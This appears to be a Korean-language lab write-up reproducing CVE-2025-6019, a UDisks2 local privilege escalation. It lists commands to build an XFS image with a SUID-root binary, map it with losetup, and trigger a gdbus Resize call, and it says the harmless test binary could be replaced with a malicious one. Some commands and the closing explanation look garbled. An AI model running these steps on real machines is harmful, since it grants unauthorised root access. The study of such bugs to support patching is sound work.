
이 저장소는 통제된 실험실 환경(Ubuntu VM, 비프로덕션)에서 수행된 CVE-2025-6019의 교육적 재현을 문서화합니다.
이 연구는 샌드박스 Ubuntu 환경에서 CVE-2025-6019를 재현하여 UDisks2 취약점의 근본 원인과 완화 방법을 분석합니다.
모든 결과는 책임감 있게 공유되며 인식 제고와 패치 채택을 지원하기 위한 것입니다.
공급업체 또는 유지관리자라면 시스템에 최신 보안 업데이트가 적용되어 있는지 확인하십시오.
이 CVE 취약점은 Linux 시스템에서 로컬 권한 상승(Local Privilege Escalation)의 일종으로, 이 경우 Linux 파일시스템 관리 구성 요소인 udisk/udisk2, libblockdev, Polkit 간의 불충분하게 조정된 상호 작용에서 발생합니다. 이 버그는 로컬 사용자(비권한 공격자)가 SUID 비트가 설정된 root 소유 파일을 포함하는 악성 파일시스템 이미지를 마운트하고, 해당 이미지에서 SUID-root 바이너리를 실행하여 최종적으로 호스트에 대한 전체 제어권을 획득할 수 있게 합니다.

이 취약점 악용은 Ubuntu 20.04.6 가상 머신에서 수행됩니다.
모든 테스트는 격리된 로컬 VM에서 실행되며 네트워크 연결이나 파괴적 페이로드는 사용되지 않습니다. 목표는 순전히 권한 변화를 관찰하고 안전한 조건에서 취약점을 검증하는 것입니다.
~$ gcc check_root.c -o check_root
~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2
목표는 파괴적인 프로그램을 만드는 것이 아닙니다. check_root.c는 실행 시 실제 UID와 유효 UID만 출력하는 무해한 테스트 프로그램입니다(getuid() 및 geteuid() 함수 사용). 그러나 이를 악성 바이너리로 대체하면 시스템이 손상될 수 있습니다.
~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img
~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious
# Expected: no result return.
이미지가 여전히 마운트되어 있으면 마운트를 해제하세요. 이 단계가 끝나면 SUID 플래그와 메타데이터의 root 소유자 정보를 가진 악성 파일(checkroot.c)을 포함하는 악성 이미지가 생성됩니다.
이 메타데이터는 Linux 머신 간 파일 복사 시에도 일관되게 유지되며, Linux는 "nosuid"로 보호되지만 이 시나리오에서는 영향을 받지 않습니다.
이 단계에서는 이미지를 대상 머신에 매핑한 후 내부의 악성 파일을 실행합니다. 이 동작은 악성 USB를 Linux 머신에 꽂는 것과 유사합니다.
~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck:
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns
~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh
두 번째 터미널을 열고 D-Bus 요청을 보내 시스템(UDisks2)이 제시된 블록 장치의 크기를 조정하도록 요청합니다.
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"
성공 이유: 이미지가 losetup으로 수동 매핑된 후 수동으로 마운트되면(udisksd가 있는 시스템에서도) 마운트는 다른 옵션과 수명 주기 의미론을 가진 다른 컨텍스트에서 수행됩니다. 이 시나리오에서는 파일시스템이 udisksd가 적용하는 것과 동일한 안전 플래그로 마운트되지 않았기 때문에 이미지 내부의 setuid 바이너리가 적용될 수 있었고 악용 단계가 성공했습니다.
⚠️ 면책 조항
이 저장소는 교육 목적으로만 제공됩니다.
이 콘텐츠의 어떤 부분도 실제 시스템을 공격하거나 수정하는 데 사용하지 마십시오.
작성자와 기여자는 오용에 대한 책임을 지지 않습니다.